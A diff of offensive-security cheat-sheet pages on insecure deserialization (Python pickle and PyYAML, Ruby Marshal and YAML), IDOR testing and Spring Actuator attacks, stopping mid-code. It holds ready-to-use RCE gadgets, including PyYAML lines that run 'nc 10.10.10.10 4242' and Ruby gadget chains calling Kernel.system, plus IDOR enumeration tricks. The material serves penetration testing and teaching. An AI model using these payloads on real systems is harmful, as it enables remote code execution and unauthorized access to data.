* [PyYAML](#pyyaml)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) - Serialized payload for deserialization RCE attack on python driven applications where pickle,PyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.
|
||||||
|
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
In Python source code, look for these sinks:
|
||||||
|
|
||||||
|
* `cPickle.loads`
|
||||||
|
* `pickle.loads`
|
||||||
|
* `_pickle.loads`
|
||||||
|
* `jsonpickle.decode`
|
||||||
|
|
||||||
|
|
||||||
|
### Pickle
|
||||||
|
|
||||||
The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
|
The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
|
||||||
:warning: `import cPickle` will only work on Python 2
|
:warning: `import cPickle` will only work on Python 2
|
||||||
@@ -45,7 +71,48 @@ evil_token = b64encode(cPickle.dumps(e))
|
|||||||
print("Your Evil Token : {}").format(evil_token)
|
print("Your Evil Token : {}").format(evil_token)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### PyYAML
|
||||||
|
|
||||||
|
YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
!!python/object/apply:time.sleep [10]
|
||||||
|
!!python/object/apply:builtins.range [1, 10, 1]
|
||||||
|
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
|
||||||
|
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
|
||||||
|
!!python/object/new:subprocess [["ls","-ail"]]
|
||||||
|
!!python/object/new:subprocess.check_output [["ls","-ail"]]
|
||||||
|
```
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
!!python/object/apply:subprocess.Popen
|
||||||
|
- ls
|
||||||
|
```
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
!!python/object/new:str
|
||||||
|
state: !!python/tuple
|
||||||
|
- 'print(getattr(open("flag\x2etxt"), "read")())'
|
||||||
|
- !!python/object/new:Warning
|
||||||
|
state:
|
||||||
|
update: !!python/name:exec
|
||||||
|
```
|
||||||
|
|
||||||
|
Since PyYaml version 6.0, the default loader for `load` has been switched to SafeLoader mitigating the risks against Remote Code Execution. [PR #420 - Fix](https://github.com/yaml/pyyaml/issues/420)
|
||||||
|
|
||||||
|
The vulnerable sinks are now `yaml.unsafe_load` and `yaml.load(input, Loader=yaml.UnsafeLoader)`.
|
||||||
|
|
||||||
|
```py
|
||||||
|
with open('exploit_unsafeloader.yml') as file:
|
||||||
|
data = yaml.load(file,Loader=yaml.UnsafeLoader)
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [Exploiting misuse of Python's "pickle" - Mar 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
|
- [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
|
||||||
* [Python Pickle Injection - Apr 30, 2017](http://xhyumiracle.com/python-pickle-injection/)
|
- [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
|
||||||
|
- [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
|
||||||
|
- [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
|
||||||
|
- [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
|
||||||
@@ -2,30 +2,62 @@
|
|||||||
|
|
||||||
> Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object - OWASP
|
> Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object - OWASP
|
||||||
|
|
||||||
Check the following sub-sections, located in other files :
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Deserialization Identifier](#deserialization-identifier)
|
||||||
|
* [POP Gadgets](#pop-gadgets)
|
||||||
|
* [Labs](#labs)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Deserialization Identifier
|
||||||
|
|
||||||
|
Check the following sub-sections, located in other chapters :
|
||||||
|
|
||||||
* [Java deserialization : ysoserial, ...](Java.md)
|
* [Java deserialization : ysoserial, ...](Java.md)
|
||||||
* [PHP (Object injection) : phpggc, ...](PHP.md)
|
* [PHP (Object injection) : phpggc, ...](PHP.md)
|
||||||
* [Ruby : universal rce gadget, ...](Ruby.md)
|
* [Ruby : universal rce gadget, ...](Ruby.md)
|
||||||
* [Python : pickle, ...](Python.md)
|
* [Python : pickle, ...](Python.md)
|
||||||
|
* [YAML : PyYAML, ...](YAML.md)
|
||||||
|
* [.NET : ysoserial.net, ...](DotNET.md)
|
||||||
|
|
||||||
|
| Object Type | Header (Hex) | Header (Base64) |
|
||||||
|
|-----------------|--------------|-----------------|
|
||||||
|
| Java Serialized | AC ED | rO |
|
||||||
|
| .NET ViewState | FF 01 | /w |
|
||||||
|
| Python Pickle | 80 04 95 | gASV |
|
||||||
|
| PHP Serialized | 4F 3A | Tz |
|
||||||
|
|
||||||
|
|
||||||
|
## POP Gadgets
|
||||||
|
|
||||||
|
> A POP (Property Oriented Programming) gadget is a piece of code implemented by an application's class, that can be called during the deserialization process.
|
||||||
|
|
||||||
|
POP gadgets characteristics:
|
||||||
|
* Can be serialized
|
||||||
|
* Has public/accessible properties
|
||||||
|
* Implements specific vulnerable methods
|
||||||
|
* Has access to other "callable" classes
|
||||||
|
|
||||||
|
|
||||||
|
## Labs
|
||||||
|
|
||||||
|
* [PortSwigger - Modifying serialized objects](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects)
|
||||||
|
* [PortSwigger - Modifying serialized data types](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types)
|
||||||
|
* [PortSwigger - Using application functionality to exploit insecure deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-application-functionality-to-exploit-insecure-deserialization)
|
||||||
|
* [PortSwigger - Arbitrary object injection in PHP](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-arbitrary-object-injection-in-php)
|
||||||
|
* [PortSwigger - Exploiting Java deserialization with Apache Commons](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons)
|
||||||
|
* [PortSwigger - Exploiting PHP deserialization with a pre-built gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain)
|
||||||
|
* [PortSwigger - Exploiting Ruby deserialization using a documented gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-ruby-deserialization-using-a-documented-gadget-chain)
|
||||||
|
* [PortSwigger - Developing a custom gadget chain for Java deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization)
|
||||||
|
* [PortSwigger - Developing a custom gadget chain for PHP deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization)
|
||||||
|
* [PortSwigger - Using PHAR deserialization to deploy a custom gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-deserialization-to-deploy-a-custom-gadget-chain)
|
||||||
|
* [NickstaDB - DeserLab](https://github.com/NickstaDB/DeserLab)
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [Github - ysoserial](https://github.com/frohoff/ysoserial)
|
- [ExploitDB Introduction - Abdelazim Mohammed(@intx0x80) - May 27, 2018](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
|
||||||
* [Github - ysoserial.net](https://github.com/pwntester/ysoserial.net)
|
- [Exploiting insecure deserialization vulnerabilities - PortSwigger - July 25, 2020](https://portswigger.net/web-security/deserialization/exploiting)
|
||||||
* [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
|
- [Instagram's Million Dollar Bug - Wesley Wineberg - December 17, 2015](http://www.exfiltrated.com/research-Instagram-RCE.php)
|
||||||
* [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
|
||||||
* [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
|
|
||||||
* [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
|
||||||
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
|
|
||||||
* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
|
|
||||||
* [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
|
|
||||||
* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
|
|
||||||
* [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
|
|
||||||
* [Java Deserialization in manager.paypal.com](http://artsploit.blogspot.hk/2016/01/paypal-rce.html) by Michael Stepankin
|
|
||||||
* [Instagram's Million Dollar Bug](http://www.exfiltrated.com/research-Instagram-RCE.php) by Wesley Wineberg
|
|
||||||
* [Ruby Cookie Deserialization RCE on facebooksearch.algolia.com](https://hackerone.com/reports/134321) by Michiel Prins (michiel)
|
|
||||||
* [Java deserialization](https://seanmelia.wordpress.com/2016/07/22/exploiting-java-deserialization-via-jboss/) by meals
|
|
||||||
* [Diving into unserialize() - Sep 19- Vickie Li](https://medium.com/swlh/diving-into-unserialize-3586c1ec97e)
|
|
||||||
* [.NET Gadgets](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) by Alvaro Muñoz (@pwntester) & OleksandrMirosh
|
|
||||||
* [ExploitDB Introduction](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
|
|
||||||
@@ -1,6 +1,16 @@
|
|||||||
# Ruby Deserialization
|
# Ruby Deserialization
|
||||||
|
|
||||||
## Marshal.load
|
> Ruby deserialization is the process of converting serialized data back into Ruby objects, often using formats like YAML, Marshal, or JSON. Ruby's Marshal module, for instance, is commonly used for this, as it can serialize and deserialize complex Ruby objects.
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Marshal Deserialization](#marshal-deserialization)
|
||||||
|
* [YAML Deserialization](#yaml-deserialization)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Marshal Deserialization
|
||||||
|
|
||||||
Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
|
Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
|
||||||
|
|
||||||
@@ -8,16 +18,19 @@ Script to generate and verify the deserialization gadget chain against Ruby 2.0
|
|||||||
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
|
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
|
||||||
```
|
```
|
||||||
|
|
||||||
## Yaml.load
|
|
||||||
|
## YAML Deserialization
|
||||||
|
|
||||||
Vulnerable code
|
Vulnerable code
|
||||||
|
|
||||||
```ruby
|
```ruby
|
||||||
require "yaml"
|
require "yaml"
|
||||||
YAML.load(File.read("p.yml"))
|
YAML.load(File.read("p.yml"))
|
||||||
```
|
```
|
||||||
|
|
||||||
Exploitation code
|
Universal gadget for ruby <= 2.7.2:
|
||||||
```ruby
|
|
||||||
|
```yaml
|
||||||
--- !ruby/object:Gem::Requirement
|
--- !ruby/object:Gem::Requirement
|
||||||
requirements:
|
requirements:
|
||||||
!ruby/object:Gem::DependencyList
|
!ruby/object:Gem::DependencyList
|
||||||
@@ -29,9 +42,57 @@ requirements:
|
|||||||
spec:
|
spec:
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Universal gadget for ruby 2.x - 3.x.
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
---
|
||||||
|
- !ruby/object:Gem::Installer
|
||||||
|
i: x
|
||||||
|
- !ruby/object:Gem::SpecFetcher
|
||||||
|
i: y
|
||||||
|
- !ruby/object:Gem::Requirement
|
||||||
|
requirements:
|
||||||
|
!ruby/object:Gem::Package::TarReader
|
||||||
|
io: &1 !ruby/object:Net::BufferedIO
|
||||||
|
io: &1 !ruby/object:Gem::Package::TarReader::Entry
|
||||||
|
read: 0
|
||||||
|
header: "abc"
|
||||||
|
debug_output: &1 !ruby/object:Net::WriteAdapter
|
||||||
|
socket: &1 !ruby/object:Gem::RequestSet
|
||||||
|
sets: !ruby/object:Net::WriteAdapter
|
||||||
|
socket: !ruby/module 'Kernel'
|
||||||
|
method_id: :system
|
||||||
|
git_set: id
|
||||||
|
method_id: :resolve
|
||||||
|
```
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
---
|
||||||
|
- !ruby/object:Gem::Installer
|
||||||
|
i: x
|
||||||
|
- !ruby/object:Gem::SpecFetcher
|
||||||
|
i: y
|
||||||
|
- !ruby/object:Gem::Requirement
|
||||||
|
requirements:
|
||||||
|
!ruby/object:Gem::Package::TarReader
|
||||||
|
io: &1 !ruby/object:Net::BufferedIO
|
||||||
|
io: &1 !ruby/object:Gem::Package::TarReader::Entry
|
||||||
|
read: 0
|
||||||
|
header: "abc"
|
||||||
|
debug_output: &1 !ruby/object:Net::WriteAdapter
|
||||||
|
socket: &1 !ruby/object:Gem::RequestSet
|
||||||
|
sets: !ruby/object:Net::WriteAdapter
|
||||||
|
socket: !ruby/module 'Kernel'
|
||||||
|
method_id: :system
|
||||||
|
git_set: sleep 600
|
||||||
|
method_id: :resolve
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
|
- [Ruby 2.X Universal RCE Deserialization Gadget Chain - Luke Jahnke - November 8, 2018](https://www.elttam.com.au/blog/ruby-deserialization/)
|
||||||
- [Universal RCE with Ruby YAML.load - @_staaldraad ](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
|
- [Universal RCE with Ruby YAML.load - Etienne Stalmans (@_staaldraad) - March 2, 2019](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
|
||||||
- [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online)
|
- [Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab - 2024](https://pentesterlab.com/exercises/ruby_ugadget/course)
|
||||||
|
- [Universal RCE with Ruby YAML.load (versions > 2.7) - Etienne Stalmans (@_staaldraad) - January 9, 2021](https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)
|
||||||
|
- [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)
|
||||||
@@ -1,59 +1,144 @@
|
|||||||
# Insecure Direct Object References
|
# Insecure Direct Object References
|
||||||
|
|
||||||
> Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files. - OWASP
|
> Insecure Direct Object References (IDOR) is a security vulnerability that occurs when an application allows users to directly access or modify objects (such as files, database records, or URLs) based on user-supplied input, without sufficient access controls. This means that if a user changes a parameter value (like an ID) in a URL or API request, they might be able to access or manipulate data that they aren’t authorized to see or modify.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Tools](#tools)
|
* [Tools](#tools)
|
||||||
* [Exploit](#exploit)
|
* [Methodology](#methodology)
|
||||||
* [Examples](#examples)
|
* [Numeric Value Parameter](#numeric-value-parameter)
|
||||||
|
* [Common Identifiers Parameter](#common-identifiers-parameter)
|
||||||
|
* [Weak Pseudo Random Number Generator](#weak-pseudo-random-number-generator)
|
||||||
|
* [Hashed Parameter](#hashed-parameter)
|
||||||
|
* [Wildcard Parameter](#wildcard-parameter)
|
||||||
|
* [IDOR Tips](#idor-tips)
|
||||||
|
* [Labs](#labs)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
- Burp Suite plugin Authz
|
- [PortSwigger/BApp Store > Authz](https://portswigger.net/bappstore/4316cc18ac5f434884b2089831c7d19e)
|
||||||
- Burp Suite plugin AuthMatrix
|
- [PortSwigger/BApp Store > AuthMatrix](https://portswigger.net/bappstore/30d8ee9f40c041b0bfec67441aad158e)
|
||||||
- Burp Suite plugin Authorize
|
- [PortSwigger/BApp Store > Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f)
|
||||||
|
|
||||||
## Exploit
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
IDOR stands for Insecure Direct Object Reference. It's a type of security vulnerability that arises when an application provides direct access to objects based on user-supplied input. As a result, attackers can bypass authorization and access resources in the system directly, potentially leading to unauthorized information disclosure, modification, or deletion.
|
||||||
|
|
||||||
|
**Example of IDOR**
|
||||||
|
|
||||||
|
Imagine a web application that allows users to view their profile by clicking a link `https://example.com/profile?user_id=123`:
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
$user_id = $_GET['user_id'];
|
||||||
|
$user_info = get_user_info($user_id);
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
Here, `user_id=123` is a direct reference to a specific user's profile. If the application doesn't properly check that the logged-in user has the right to view the profile associated with `user_id=123`, an attacker could simply change the `user_id` parameter to view other users' profiles:
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
https://example.com/profile?user_id=124
|
||||||
|
```
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
The value of a parameter is used directly to retrieve a database record.
|
|
||||||
|
|
||||||
```powershell
|
### Numeric Value Parameter
|
||||||
http://foo.bar/somepage?invoice=12345
|
|
||||||
```
|
|
||||||
|
|
||||||
The value of a parameter is used directly to perform an operation in the system
|
Increment and decrement these values to access sensitive information.
|
||||||
|
|
||||||
```powershell
|
* Decimal value: `287789`, `287790`, `287791`, ...
|
||||||
http://foo.bar/changepassword?user=someuser
|
* Hexadecimal: `0x4642d`, `0x4642e`, `0x4642f`, ...
|
||||||
```
|
* Unix epoch timestamp: `1695574808`, `1695575098`, ...
|
||||||
|
|
||||||
The value of a parameter is used directly to retrieve a file system resource
|
**Examples**
|
||||||
|
|
||||||
```powershell
|
|
||||||
http://foo.bar/showImage?img=img00011
|
|
||||||
```
|
|
||||||
|
|
||||||
The value of a parameter is used directly to access application functionality
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
http://foo.bar/accessPage?menuitem=12
|
|
||||||
```
|
|
||||||
|
|
||||||
## Examples
|
|
||||||
|
|
||||||
* [HackerOne - IDOR to view User Order Information - meals](https://hackerone.com/reports/287789)
|
* [HackerOne - IDOR to view User Order Information - meals](https://hackerone.com/reports/287789)
|
||||||
* [HackerOne - IDOR on HackerOne Feedback Review - japz](https://hackerone.com/reports/262661)
|
* [HackerOne - Delete messages via IDOR - naaash](https://hackerone.com/reports/697412)
|
||||||
|
|
||||||
|
### Common Identifiers Parameter
|
||||||
|
|
||||||
|
Some identifiers can be guessed like names and emails, they might grant you access to customer data.
|
||||||
|
|
||||||
|
* Name: `john`, `doe`, `john.doe`, ...
|
||||||
|
* Email: `john.doe@mail.com`
|
||||||
|
* Base64 encoded value: `am9obi5kb2VAbWFpbC5jb20=`
|
||||||
|
|
||||||
|
**Examples**
|
||||||
|
|
||||||
|
* [HackerOne - Insecure Direct Object Reference (IDOR) - Delete Campaigns - datph4m](https://hackerone.com/reports/1969141)
|
||||||
|
|
||||||
|
|
||||||
|
### Weak Pseudo Random Number Generator
|
||||||
|
|
||||||
|
* UUID/GUID v1 can be predicted if you know the time they were created: `95f6e264-bb00-11ec-8833-00155d01ef00`
|
||||||
|
* MongoDB Object Ids are generated in a predictable manner: `5ae9b90a2c144b9def01ec37`
|
||||||
|
* a 4-byte value representing the seconds since the Unix epoch
|
||||||
|
* a 3-byte machine identifier
|
||||||
|
* a 2-byte process id
|
||||||
|
* a 3-byte counter, starting with a random value
|
||||||
|
|
||||||
|
**Examples**
|
||||||
|
|
||||||
|
* [HackerOne - IDOR allowing to read another user's token on the Social Media Ads service - a_d_a_m](https://hackerone.com/reports/1464168)
|
||||||
|
* [IDOR through MongoDB Object IDs Prediction](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
|
||||||
|
|
||||||
|
|
||||||
|
### Hashed Parameter
|
||||||
|
|
||||||
|
Sometimes we see websites using hashed values to generate a random user id or token, like `sha1(username)`, `md5(email)`, ...
|
||||||
|
|
||||||
|
* MD5: `098f6bcd4621d373cade4e832627b4f6`
|
||||||
|
* SHA1: `a94a8fe5ccb19ba61c4c0873d391e987982fbbd3`
|
||||||
|
* SHA2: `9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08`
|
||||||
|
|
||||||
|
**Examples**
|
||||||
|
|
||||||
|
* [IDOR with Predictable HMAC Generation - DiceCTF 2022 - CryptoCat](https://youtu.be/Og5_5tEg6M0)
|
||||||
|
|
||||||
|
|
||||||
|
### Wildcard Parameter
|
||||||
|
|
||||||
|
Send a wildcard (`*`, `%`, `.`, `_`) instead of an ID, some backend might respond with the data of all the users.
|
||||||
|
|
||||||
|
* `GET /api/users/* HTTP/1.1`
|
||||||
|
* `GET /api/users/% HTTP/1.1`
|
||||||
|
* `GET /api/users/_ HTTP/1.1`
|
||||||
|
* `GET /api/users/. HTTP/1.1`
|
||||||
|
|
||||||
|
|
||||||
|
**Examples**
|
||||||
|
|
||||||
|
* [TODO](#)
|
||||||
|
|
||||||
|
|
||||||
|
### IDOR Tips
|
||||||
|
|
||||||
|
* Change the HTTP request: `POST → PUT`
|
||||||
|
* Change the content type: `XML → JSON`
|
||||||
|
* Transform numerical values to arrays: `{"id":19} → {"id":[19]}`
|
||||||
|
* Use Parameter Pollution: `user_id=hacker_id&user_id=victim_id`
|
||||||
|
|
||||||
|
|
||||||
|
## Labs
|
||||||
|
|
||||||
|
- [PortSwigger - Insecure Direct Object References](https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references)
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [OWASP - Testing for Insecure Direct Object References (OTG-AUTHZ-004)](https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004))
|
- [From Christmas present in the blockchain to massive bug bounty - Jesse Lakerveld - March 21, 2018](http://web.archive.org/web/20180401130129/https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty)
|
||||||
* [OWASP - Insecure Direct Object Reference Prevention Cheat Sheet](https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet)
|
- [How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards - Sam Houton - November 9, 2017](https://www.bugcrowd.com/blog/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/)
|
||||||
* [BUGCROWD - How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards - Sam Houton](https://www.bugcrowd.com/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/)
|
- [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - February 2, 2018](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782)
|
||||||
* [IDOR tweet as any user](http://kedrisec.com/twitter-publish-by-any-user/) by kedrisec
|
- [IDOR - how to predict an identifier? Bug bounty case study - Bug Bounty Reports Explained - September 21, 2023](https://youtu.be/wx5TwS0Dres)
|
||||||
* [Manipulation of ETH balance](https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty)
|
- [Insecure Direct Object Reference Prevention Cheat Sheet - OWASP - July 31, 2023](https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet)
|
||||||
* [Viewing private Airbnb Messages](http://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/)
|
- [Insecure direct object references (IDOR) - PortSwigger - December 25, 2019](https://portswigger.net/web-security/access-control/idor)
|
||||||
* [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - Feb 2, 2018](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782)
|
- [Testing for IDORs - PortSwigger - October 29, 2024](https://portswigger.net/burp/documentation/desktop/testing-workflow/access-controls/testing-for-idors)
|
||||||
|
- [Testing for Insecure Direct Object References (OTG-AUTHZ-004) - OWASP - August 8, 2014](https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004))
|
||||||
|
- [The Rise of IDOR - HackerOne - April 2, 2021](https://www.hackerone.com/company-news/rise-idor)
|
||||||
|
- [Web to App Phone Notification IDOR to view Everyone's Airbnb Messages - Brett Buerhaus - March 31, 2017](http://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/)
|
||||||
@@ -1,94 +1,46 @@
|
|||||||
# Insecure management interface
|
# Insecure Management Interface
|
||||||
|
|
||||||
## Springboot-Actuator
|
> Insecure Management Interface refers to vulnerabilities in administrative interfaces used for managing servers, applications, databases, or network devices. These interfaces often control sensitive settings and can have powerful access to system configurations, making them prime targets for attackers.
|
||||||
|
|
||||||
Actuator endpoints let you monitor and interact with your application.
|
> Insecure Management Interfaces may lack proper security measures, such as strong authentication, encryption, or IP restrictions, allowing unauthorized users to potentially gain control over critical systems. Common issues include using default credentials, unencrypted communications, or exposing the interface to the public internet.
|
||||||
Spring Boot includes a number of built-in endpoints and lets you add your own.
|
|
||||||
For example, the `/health` endpoint provides basic application health information.
|
|
||||||
|
|
||||||
Some of them contains sensitive info such as :
|
|
||||||
|
|
||||||
- `/trace` - Displays trace information (by default the last 100 HTTP requests with headers).
|
|
||||||
- `/env` - Displays the current environment properties (from Spring’s ConfigurableEnvironment).
|
|
||||||
- `/heapdump` - Builds and returns a heap dump from the JVM used by our application.
|
|
||||||
- `/dump` - Displays a dump of threads (including a stack trace).
|
|
||||||
- `/logfile` - Outputs the contents of the log file.
|
|
||||||
- `/mappings` - Shows all of the MVC controller mappings.
|
|
||||||
|
|
||||||
These endpoints are enabled by default in Springboot 1.X.
|
|
||||||
Note: Sensitive endpoints will require a username/password when they are accessed over HTTP.
|
|
||||||
|
|
||||||
Since Springboot 2.X only `/health` and `/info` are enabled by default.
|
|
||||||
|
|
||||||
### Remote Code Execution via `/env`
|
|
||||||
|
|
||||||
Spring is able to load external configurations in the YAML format.
|
|
||||||
The YAML config is parsed with the SnakeYAML library, which is susceptible to deserialization attacks.
|
|
||||||
In other words, an attacker can gain remote code execution by loading a malicious config file.
|
|
||||||
|
|
||||||
#### Steps
|
|
||||||
|
|
||||||
1. Generate a payload of SnakeYAML deserialization gadget.
|
|
||||||
|
|
||||||
- Build malicious jar
|
|
||||||
```bash
|
|
||||||
git clone https://github.com/artsploit/yaml-payload.git
|
|
||||||
cd yaml-payload
|
|
||||||
# Edit the payload before executing the last commands (see below)
|
|
||||||
javac src/artsploit/AwesomeScriptEngineFactory.java
|
|
||||||
jar -cvf yaml-payload.jar -C src/ .
|
|
||||||
```
|
|
||||||
|
|
||||||
- Edit src/artsploit/AwesomeScriptEngineFactory.java
|
|
||||||
|
|
||||||
```java
|
|
||||||
public AwesomeScriptEngineFactory() {
